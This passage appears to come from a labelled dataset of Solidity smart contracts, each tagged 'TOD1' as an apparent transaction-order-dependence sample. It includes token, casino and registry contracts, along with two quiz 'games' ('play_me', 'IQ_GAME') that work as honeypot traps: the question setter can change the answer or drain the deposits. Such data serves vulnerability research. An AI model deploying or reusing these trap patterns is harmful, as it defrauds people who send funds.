returns (bool disabled){ return disabledFactories[factoryAddress]; } function nameAndKeyDirectory() external view returns (INameAndPublicKeyDirectory directory){ return _nameAndKeyDirectory; } function nftContractAddress() external view returns (address _nftcontract){ return _nftContractAddress; } function payout() public { require(msg.sender == owner, "Only owner"); owner.transfer(address(this).balance); } function pigeonDestinations() external view returns (IPigeonDestinationDirectory destinations){ return _pigeonDestinations; } function pigeonsCountOfOwner(address pigeonOwner) public view returns (uint256 length){ length = ownerToPigeon[pigeonOwner].length; return length; } function pigeonOfOwnerByIndex(address pigeonOwner, uint index) public view returns (address rpaddress){ rpaddress = ownerToPigeon[pigeonOwner][index]; return rpaddress; } function setNFTContractAddress(address nftContract) public { require(owner == msg.sender, "Only owner"); require(_nftContractAddress == address(0), "NFT contract already set"); _nftContractAddress = nftContract; } function setUri(string uri) public { require(owner == msg.sender, "Only owner"); egigeonURI = uri; } function transferOwnership(address newOwner) public { require(owner == msg.sender, "Only owner"); require(newOwner != address(0), "Zero address"); emit OwnershipTransferred(owner, newOwner); owner.transfer(address(this).balance); owner = newOwner; } function transferPigeon(address from, address to, address pigeon) public { if (IEpigeonNFT(_nftContractAddress).isTokenizedPigeon(pigeon)) { require(_nftContractAddress == msg.sender, "Tokenized Pigeon can only be transferred by NFT contract"); } else{ require(ICryptoPigeon(pigeon).owner() == msg.sender || pigeon == msg.sender, "Only pigeon owner"); } //Push new owner address ownerToPigeon[to].push(pigeon); pigeonToOwnerIndex[pigeon] = ownerToPigeon[to].length-1; //Delete old owner address address pigeonToRemove = pigeon; uint256 pigeonToRemoveIndex = pigeonToOwnerIndex[pigeon]; uint256 lastIdIndex = ownerToPigeon[from].length - 1; if (ownerToPigeon[from][lastIdIndex] != pigeonToRemove) { address lastPigeon = ownerToPigeon[from][lastIdIndex]; ownerToPigeon[from][pigeonToOwnerIndex[pigeonToRemove]] = lastPigeon; pigeonToOwnerIndex[lastPigeon] = pigeonToRemoveIndex; } delete ownerToPigeon[from][lastIdIndex]; ownerToPigeon[from].length--; //Delete old to address _pigeonDestinations.deleteToAddressByEpigeon(pigeon); //Transfer contract too ICryptoPigeon(pigeon).transferPigeon(to); } function validPigeon(address pigeon, address pigeonOwner) public view returns (bool valid){ require(pigeon != address(0), "Null address"); return ownerToPigeon[pigeonOwner][pigeonToOwnerIndex[pigeon]] == pigeon; } function _createPigeon(address to, uint256 factoryId) internal returns (address pigeonAddress) { require(isFactoryDisabled(factoryIdtoAddress[factoryId]) == false, "Factory is disabled"); ICryptoPigeon pigeon = IPigeonFactory(factoryIdtoAddress[factoryId]).createCryptoPigeon( to); ownerToPigeon[to].push(pigeon); pigeonToOwnerIndex[pigeon] = ownerToPigeon[to].length-1; emit PigeonCreated(pigeon); return pigeon; } }
TOD1
pragma solidity 0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; assert(c >= _a); return c; } } /** * @title Ownable * @dev The Ownable contract holds owner addresses, and provides basic authorization control * functions. */ contract Ownable { /** * @dev Allows to check if the given address has owner rights. * @param _owner The address to check for owner rights. * @return True if the address is owner, false if it is not. */ mapping(address => bool) public owners; /** * @dev The Ownable constructor adds the sender * account to the owners mapping. */ constructor() public { owners[msg.sender] = true; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwners() { require(owners[msg.sender], 'Owner message sender required.'); _; } /** * @dev Allows the current owners to grant or revoke * owner-level access rights to the contract. * @param _owner The address to grant or revoke owner rights. * @param _isAllowed Boolean granting or revoking owner rights. * @return True if the operation has passed or throws if failed. */ function setOwner(address _owner, bool _isAllowed) public onlyOwners { require(_owner != address(0), 'Non-zero owner-address required.'); owners[_owner] = _isAllowed; } } /** * @title Destroyable * @dev Base contract that can be destroyed by the owners. All funds in contract will be sent back. */ contract Destroyable is Ownable { constructor() public payable {} /** * @dev Transfers The current balance to the message sender and terminates the contract. */ function destroy() public onlyOwners { selfdestruct(msg.sender); } /** * @dev Transfers The current balance to the specified _recipient and terminates the contract. * @param _recipient The address to send the current balance to. */ function destroyAndSend(address _recipient) public onlyOwners { require(_recipient != address(0), 'Non-zero recipient address required.'); selfdestruct(_recipient); } } /** * @title BotOperated * @dev The BotOperated contract holds bot addresses, and provides basic authorization control * functions. */ contract BotOperated is Ownable { /** * @dev Allows to check if the given address has bot rights. * @param _bot The address to check for bot rights. * @return True if the address is bot, false if it is not. */ mapping(address => bool) public bots; /** * @dev Throws if called by any account other than bot or owner. */ modifier onlyBotsOrOwners() { require(bots[msg.sender] || owners[msg.sender], 'Bot or owner message sender required.'); _; } /** * @dev Throws if called by any account other than the bot. */ modifier onlyBots() { require(bots[msg.sender], 'Bot message sender required.'); _; } /** * @dev The BotOperated constructor adds the sender * account to the bots mapping. */ constructor() public { bots[msg.sender] = true; } /** * @dev Allows the current owners to grant or revoke * bot-level access rights to the contract. * @param _bot The address to grant or revoke bot rights. * @param _isAllowed Boolean granting or revoking bot rights. * @return True if the operation has passed or throws if failed. */ function setBot(address _bot, bool _isAllowed) public onlyOwners { require(_bot != address(0), 'Non-zero bot-address required.'); bots[_bot] = _isAllowed; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is BotOperated { event Pause(); event Unpause(); bool public paused = true; /** * @dev Modifier to allow actions only when the contract IS NOT paused. */ modifier whenNotPaused() { require(!paused, 'Unpaused contract required.'); _; } /** * @dev Called by the owner to pause, triggers stopped state. * @return True if the operation has passed. */ function pause() public onlyBotsOrOwners { paused = true; emit Pause(); } /** * @dev Called by the owner to unpause, returns to normal state. * @return True if the operation has passed. */ function unpause() public onlyBotsOrOwners { paused = false; emit Unpause(); } } interface EternalDataStorage { function balances(address _owner) external view returns (uint256); function setBalance(address _owner, uint256 _value) external; function allowed(address _owner, address _spender) external view returns (uint256); function setAllowance(address _owner, address _spender, uint256 _amount) external; function totalSupply() external view returns (uint256); function setTotalSupply(uint256 _value) external; function frozenAccounts(address _target) external view returns (bool isFrozen); function setFrozenAccount(address _target, bool _isFrozen) external; function increaseAllowance(address _owner, address _spender, uint256 _increase) external; function decreaseAllowance(address _owner, address _spender, uint256 _decrease) external; } interface Ledger { function addTransaction(address _from, address _to, uint _tokens) external; } interface WhitelistData { function kycId(address _customer) external view returns (bytes32); } /** * @title ERC20Standard token * @dev Implementation of the basic standard token. * @notice https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md */ contract ERC20Standard { using SafeMath for uint256; EternalDataStorage internal dataStorage; Ledger internal ledger; WhitelistData internal whitelist; /** * @dev Triggered when tokens are transferred. * @notice MUST trigger when tokens are transferred, including zero value transfers. */ event Transfer(address indexed _from, address indexed _to, uint256 _value); /** * @dev Triggered whenever approve(address _spender, uint256 _value) is called. * @notice MUST trigger on any successful call to approve(address _spender, uint256 _value). */ event Approval(address indexed _owner, address indexed _spender, uint256 _value); modifier isWhitelisted(address _customer) { require(whitelist.kycId(_customer) != 0x0, 'Whitelisted customer required.'); _; } /** * @dev Constructor function that instantiates the EternalDataStorage, Ledger and Whitelist contracts. * @param _dataStorage Address of the Data Storage Contract. * @param _ledger Address of the Ledger Contract. * @param _whitelist Address of the Whitelist Data Contract. */ constructor(address _dataStorage, address _ledger, address _whitelist) public { require(_dataStorage != address(0), 'Non-zero data storage address required.'); require(_ledger != address(0), 'Non-zero ledger address required.'); require(_whitelist != address(0), 'Non-zero whitelist address required.'); dataStorage = EternalDataStorage(_dataStorage); ledger = Ledger(_ledger); whitelist = WhitelistData(_whitelist); } /** * @dev Gets the total supply of tokens. * @return totalSupplyAmount The total amount of tokens. */ function totalSupply() public view returns (uint256 totalSupplyAmount) { return dataStorage.totalSupply(); } /** * @dev Get the balance of the specified `_owner` address. * @return balance The token balance of the given address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return dataStorage.balances(_owner); } /** * @dev Transfer token to a specified address. * @param _to The address to transfer to. * @param _value The amount to be transferred. * @return success True if the transfer was successful, or throws. */ function transfer(address _to, uint256 _value) public returns (bool success) { return _transfer(msg.sender, _to, _value); } /** * @dev Transfer `_value` tokens to `_to` in behalf of `_from`. * @param _from The address of the sender. * @param _to The address of the recipient. * @param _value The amount to send. * @return success True if the transfer was successful, or throws. */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowed = dataStorage.allowed(_from, msg.sender); require(allowed >= _value, 'From account has insufficient balance'); allowed = allowed.sub(_value); dataStorage.setAllowance(_from, msg.sender, allowed); return _transfer(_from, _to, _value); } /** * @dev Allows `_spender` to withdraw from your account multiple times, up to the `_value` amount. * approve will revert if allowance of _spender is 0. increaseApproval and decreaseApproval should * be used instead to avoid exploit identified here: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#approve * @notice If this function is called again it overwrites the current allowance with `_value`. * @param _spender The address authorized to spend. * @param _value The max amount they can spend. * @return success True if the operation was successful, or false. */ function approve(address _spender, uint256 _value) public returns (bool success) { require ( _value == 0 || dataStorage.allowed(msg.sender, _spender) == 0, 'Approve value is required to be zero or account has already been approved.' ); dataStorage.setAllowance(msg.sender, _spender, _value); emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * This function must be called for increasing approval from a non-zero value * as using approve will revert. It has been added as a fix to the exploit mentioned * here: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#approve * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint256 _addedValue) public { dataStorage.increaseAllowance(msg.sender, _spender, _addedValue); emit Approval(msg.sender, _spender, dataStorage.allowed(msg.sender, _spender)); } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * This function must be called for decreasing approval from a non-zero value * as using approve will revert. It has been added as a fix to the exploit mentioned * here: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#approve * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint256 _subtractedValue) public { dataStorage.decreaseAllowance(msg.sender, _spender, _subtractedValue); emit Approval(msg.sender, _spender, dataStorage.allowed(msg.sender, _spender)); } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner The address which owns the funds. * @param _spender The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return dataStorage.allowed(_owner, _spender); } /** * @dev Internal transfer, can only be called by this contract. * @param _from The address of the sender. * @param _to The address of the recipient. * @param _value The amount to send. * @return success True if the transfer was successful, or throws. */ function _transfer(address _from, address _to, uint256 _value) internal returns (bool success) { require(_to != address(0), 'Non-zero to-address required.'); uint256 fromBalance = dataStorage.balances(_from); require(fromBalance >= _value, 'From-address has insufficient balance.'); fromBalance = fromBalance.sub(_value); uint256 toBalance = dataStorage.balances(_to); toBalance = toBalance.add(_value); dataStorage.setBalance(_from, fromBalance); dataStorage.setBalance(_to, toBalance); ledger.addTransaction(_from, _to, _value); emit Transfer(_from, _to, _value); return true; } } /** * @title MintableToken * @dev ERC20Standard modified with mintable token creation. */ contract MintableToken is ERC20Standard, Ownable { /** * @dev Hardcap - maximum allowed amount of tokens to be minted */ uint104 public constant MINTING_HARDCAP = 1e30; /** * @dev Auto-generated function to check whether the minting has finished. * @return True if the minting has finished, or false. */ bool public mintingFinished = false; event Mint(address indexed _to, uint256 _amount); event MintFinished(); modifier canMint() { require(!mintingFinished, 'Uninished minting required.'); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. */ function mint(address _to, uint256 _amount) public onlyOwners canMint() { uint256 totalSupply = dataStorage.totalSupply(); totalSupply = totalSupply.add(_amount); require(totalSupply <= MINTING_HARDCAP, 'Total supply of token in circulation must be below hardcap.'); dataStorage.setTotalSupply(totalSupply); uint256 toBalance = dataStorage.balances(_to); toBalance = toBalance.add(_amount); dataStorage.setBalance(_to, toBalance); ledger.addTransaction(address(0), _to, _amount); emit Transfer(address(0), _to, _amount); emit Mint(_to, _amount); } /** * @dev Function to permanently stop minting new tokens. */ function finishMinting() public onlyOwners { mintingFinished = true; emit MintFinished(); } } /** * @title BurnableToken * @dev ERC20Standard token that can be irreversibly burned(destroyed). */ contract BurnableToken is ERC20Standard { event Burn(address indexed _burner, uint256 _value); /** * @dev Remove tokens from the system irreversibly. * @notice Destroy tokens from your account. * @param _value The amount of tokens to burn. */ function burn(uint256 _value) public { uint256 senderBalance = dataStorage.balances(msg.sender); require(senderBalance >= _value, 'Burn value less than account balance required.'); senderBalance = senderBalance.sub(_value); dataStorage.setBalance(msg.sender, senderBalance); uint256 totalSupply = dataStorage.totalSupply(); totalSupply = totalSupply.sub(_value); dataStorage.setTotalSupply(totalSupply); emit Burn(msg.sender, _value); emit Transfer(msg.sender, address(0), _value); } /** * @dev Remove specified `_value` tokens from the system irreversibly on behalf of `_from`. * @param _from The address from which to burn tokens. * @param _value The amount of money to burn. */ function burnFrom(address _from, uint256 _value) public { uint256 fromBalance = dataStorage.balances(_from); require(fromBalance >= _value, 'Burn value less than from-account balance required.'); uint256 allowed = dataStorage.allowed(_from, msg.sender); require(allowed >= _value, 'Burn value less than account allowance required.'); fromBalance = fromBalance.sub(_value); dataStorage.setBalance(_from, fromBalance); allowed = allowed.sub(_value); dataStorage.setAllowance(_from, msg.sender, allowed); uint256 totalSupply = dataStorage.totalSupply(); totalSupply = totalSupply.sub(_value); dataStorage.setTotalSupply(totalSupply); emit Burn(_from, _value); emit Transfer(_from, address(0), _value); } } /** * @title PausableToken * @dev ERC20Standard modified with pausable transfers. **/ contract PausableToken is ERC20Standard, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool success) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool success) { return super.approve(_spender, _value); } } /** * @title FreezableToken * @dev ERC20Standard modified with freezing accounts ability. */ contract FreezableToken is ERC20Standard, Ownable { event FrozenFunds(address indexed _target, bool _isFrozen); /** * @dev Allow or prevent target address from sending & receiving tokens. * @param _target Address to be frozen or unfrozen. * @param _isFrozen Boolean indicating freeze or unfreeze operation. */ function freezeAccount(address _target, bool _isFrozen) public onlyOwners { require(_target != address(0), 'Non-zero to-be-frozen-account address required.'); dataStorage.setFrozenAccount(_target, _isFrozen); emit FrozenFunds(_target, _isFrozen); } /** * @dev Checks whether the target is frozen or not. * @param _target Address to check. * @return isFrozen A boolean that indicates whether the account is frozen or not. */ function isAccountFrozen(address _target) public view returns (bool isFrozen) { return dataStorage.frozenAccounts(_target); } /** * @dev Overrided _transfer function that uses freeze functionality */ function _transfer(address _from, address _to, uint256 _value) internal returns (bool success) { assert(!dataStorage.frozenAccounts(_from)); assert(!dataStorage.frozenAccounts(_to)); return super._transfer(_from, _to, _value); } } /** * @title ERC20Extended * @dev Standard ERC20 token with extended functionalities. */ contract ERC20Extended is FreezableToken, PausableToken, BurnableToken, MintableToken, Destroyable { /** * @dev Auto-generated function that returns the name of the token. * @return The name of the token. */ string public constant name = 'ORBISE10'; /** * @dev Auto-generated function that returns the symbol of the token. * @return The symbol of the token. */ string public constant symbol = 'ORBT'; /** * @dev Auto-generated function that returns the number of decimals of the token. * @return The number of decimals of the token. */ uint8 public constant decimals = 18; /** * @dev Constant for the minimum allowed amount of tokens one can buy */ uint72 public constant MINIMUM_BUY_AMOUNT = 200e18; /** * @dev Auto-generated function that gets the price at which the token is sold. * @return The sell price of the token. */ uint256 public sellPrice; /** * @dev Auto-generated function that gets the price at which the token is bought. * @return The buy price of the token. */ uint256 public buyPrice; /** * @dev Auto-generated function that gets the address of the wallet of the contract. * @return The address of the wallet. */ address public wallet; /** * @dev Constructor function that calculates the total supply of tokens, * sets the initial sell and buy prices and * passes arguments to base constructors. * @param _dataStorage Address of the Data Storage Contract. * @param _ledger Address of the Data Storage Contract. * @param _whitelist Address of the Whitelist Data Contract. */ constructor ( address _dataStorage, address _ledger, address _whitelist ) ERC20Standard(_dataStorage, _ledger, _whitelist) public { } /** * @dev Fallback function that allows the contract * to receive Ether directly. */ function() public payable { } /** * @dev Function that sets both the sell and the buy price of the token. * @param _sellPrice The price at which the token will be sold. * @param _buyPrice The price at which the token will be bought. */ function setPrices(uint256 _sellPrice, uint256 _buyPrice) public onlyBotsOrOwners { sellPrice = _sellPrice; buyPrice = _buyPrice; } /** * @dev Function that sets the current wallet address. * @param _walletAddress The address of wallet to be set. */ function setWallet(address _walletAddress) public onlyOwners { require(_walletAddress != address(0), 'Non-zero wallet address required.'); wallet = _walletAddress; } /** * @dev Send Ether to buy tokens at the current token sell price. * @notice buy function has minimum allowed amount one can buy */ function buy() public payable whenNotPaused isWhitelisted(msg.sender) { uint256 amount = msg.value.mul(1e18); amount = amount.div(sellPrice); require(amount >= MINIMUM_BUY_AMOUNT, "Buy amount too small"); _transfer(this, msg.sender, amount); } /** * @dev Sell `_amount` tokens at the current buy price. * @param _amount The amount to sell. */ function sell(uint256 _amount) public whenNotPaused { uint256 toBeTransferred = _amount.mul(buyPrice); require(toBeTransferred >= 1e18, "Sell amount too small"); toBeTransferred = toBeTransferred.div(1e18); require(address(this).balance >= toBeTransferred, 'Contract has insufficient balance.'); _transfer(msg.sender, this, _amount); msg.sender.transfer(toBeTransferred); } /** * @dev Get the contract balance in WEI. */ function getContractBalance() public view returns (uint256) { return address(this).balance; } /** * @dev Withdraw `_amount` ETH to the wallet address. * @param _amount The amount to withdraw. */ function withdraw(uint256 _amount) public onlyOwners { require(address(this).balance >= _amount, 'Unable to withdraw specified amount.'); require(wallet != address(0), 'Non-zero wallet address required.'); wallet.transfer(_amount); } /** * @dev Transfer, which is used when Orbise is bought with different currency than ETH. * @param _to The address of the recipient. * @param _value The amount of Orbise Tokens to transfer. * @return success True if operation is executed successfully. */ function nonEtherPurchaseTransfer(address _to, uint256 _value) public isWhitelisted(_to) onlyBots whenNotPaused returns (bool success) { return _transfer(msg.sender, _to, _value); } }
TOD1
pragma solidity ^0.4.25; contract play_me { function Try(string _response) external payable { require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value > 2 ether) { msg.sender.transfer(this.balance); } } string public question; address questionSender; bytes32 responseHash; bytes32 questionerPin = 0x9d296b04dd6d1db94b2de883d179bed68488f2b4a3ce4ecc82628155fe1ac726; function ActivateContract(bytes32 _questionerPin, string _question, string _response) public payable { if(keccak256(_questionerPin)==questionerPin) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; questionerPin = 0x0; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { if(msg.sender==questionSender){ question = _question; responseHash = _responseHash; } } function newQuestioner(address newAddress) public { if(msg.sender==questionSender)questionSender = newAddress; } function() public payable{} }
TOD1
pragma solidity ^0.4.20; contract IQ_GAME { function Try(string _response) external payable { require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value>2 ether) { msg.sender.transfer(this.balance); } } string public question; address questionSender; bytes32 responseHash; function set_game(string _question,string _response) public payable { if(responseHash==0x0) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { if(msg.sender==questionSender){ question = _question; responseHash = _responseHash; } } function newQuestioner(address newAddress) public { if(msg.sender==questionSender)questionSender = newAddress; } function() public payable{} }
TOD1
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract SEA { using SafeMath for uint256; string public name; string public symbol; uint256 public decimals; uint256 public totalSupply; address public owner; uint256 public basisPointsRate = 0; uint256 public maximumFee = 0; uint256 public minimumFee = 0; mapping (address => uint256) public balances; mapping (address => uint256) public freezes; mapping (address => mapping (address => uint256)) public allowed; event Transfer(address indexed from, address indexed to, uint256 value); event CollectFee(address indexed from, address indexed _owner, uint256 fee); event Approval(address indexed from, address indexed _spender, uint256 _value); event Params(address indexed _owner, uint256 feeBasisPoints, uint256 minFee, uint256 maxFee); event Freeze(address indexed to, uint256 value); event Unfreeze(address indexed to, uint256 value); event Withdraw(address indexed to, uint256 value); constructor(uint256 initialSupply, uint8 decimalUnits, string tokenName, string tokenSymbol) public { balances[msg.sender] = initialSupply; totalSupply = initialSupply; name = tokenName; symbol = tokenSymbol; decimals = decimalUnits; owner = msg.sender; } function transfer(address _to, uint256 _value) public returns (bool success) { uint256 fee = calFee(_value); require(_value > fee); uint256 sendAmount = _value.sub(fee); if (balances[msg.sender] >= _value && _value > 0 && balances[_to] + sendAmount > balances[_to]) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); emit CollectFee(msg.sender, owner, fee); } emit Transfer(msg.sender, _to, sendAmount); return true; } else { return false; } } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 fee = calFee(_value); require(_value > fee); uint256 sendAmount = _value.sub(fee); if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0 && balances[_to] + sendAmount > balances[_to]) { balances[_to] = balances[_to].add(sendAmount); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); if (fee > 0) { balances[owner] = balances[owner].add(fee); emit CollectFee(msg.sender, owner, fee); } emit Transfer(_from, _to, _value); return true; } else { return false; } } function freeze(address _to,uint256 _value) public returns (bool success) { require(msg.sender == owner); require(balances[_to] >= _value); require(_value > 0); balances[_to] = balances[_to].sub(_value); freezes[_to] = freezes[_to].add(_value); emit Freeze(_to, _value); return true; } function unfreeze(address _to,uint256 _value) public returns (bool success) { require(msg.sender == owner); require(freezes[_to] >= _value); require(_value > 0); freezes[_to] = freezes[_to].sub(_value); balances[_to] = balances[_to].add(_value); emit Unfreeze(_to, _value); return true; } function setParams(uint256 newBasisPoints, uint256 newMinFee, uint256 newMaxFee) public returns (bool success) { require(msg.sender == owner); require(newBasisPoints <= 20); require(newMinFee <= 50); require(newMaxFee <= 50); basisPointsRate = newBasisPoints; minimumFee = newMinFee.mul(10**decimals); maximumFee = newMaxFee.mul(10**decimals); emit Params(msg.sender, basisPointsRate, minimumFee, maximumFee); return true; } function calFee(uint256 _value) private view returns (uint256 fee) { fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } if (fee < minimumFee) { fee = minimumFee; } } function withdrawEther(uint256 amount) public returns (bool success) { require (msg.sender == owner); owner.transfer(amount); emit Withdraw(msg.sender,amount); return true; } function destructor() public returns (bool success) { require(msg.sender == owner); selfdestruct(owner); return true; } function() payable private { } }
TOD1
pragma solidity ^0.4.24; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract ParadiseCasino is Ownable{ using SafeMath for uint; event LOG_Deposit(bytes32 userID, bytes32 depositID, address walletAddr, uint amount); event LOG_Withdraw(address user, uint amount); event LOG_Bankroll(address sender, uint value); event LOG_OwnerWithdraw(address _to, uint _val); event LOG_ContractStopped(); event LOG_ContractResumed(); bool public isStopped; mapping (bytes32 => mapping(bytes32 => uint)) depositList; modifier onlyIfNotStopped { require(!isStopped); _; } modifier onlyIfStopped { require(isStopped); _; } constructor() public { } function () payable public { revert(); } function bankroll() payable public onlyOwner { emit LOG_Bankroll(msg.sender, msg.value); } function userDeposit(bytes32 _userID, bytes32 _depositID) payable public onlyIfNotStopped { depositList[_userID][_depositID] = msg.value; emit LOG_Deposit(_userID, _depositID, msg.sender, msg.value); } function userWithdraw(address _to, uint _amount) public onlyOwner onlyIfNotStopped{ _to.transfer(_amount); emit LOG_Withdraw(_to, _amount); } function ownerWithdraw(address _to, uint _val) public onlyOwner{ require(address(this).balance > _val); _to.transfer(_val); emit LOG_OwnerWithdraw(_to, _val); } function getUserDeposit(bytes32 _userID, bytes32 _depositID) view public returns (uint) { return depositList[_userID][_depositID]; } function stopContract() public onlyOwner onlyIfNotStopped { isStopped = true; emit LOG_ContractStopped(); } function resumeContract() public onlyOwner onlyIfStopped { isStopped = false; emit LOG_ContractResumed(); } }
TOD1
/** * @author https://github.com/Dmitx */ pragma solidity ^0.4.23; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => 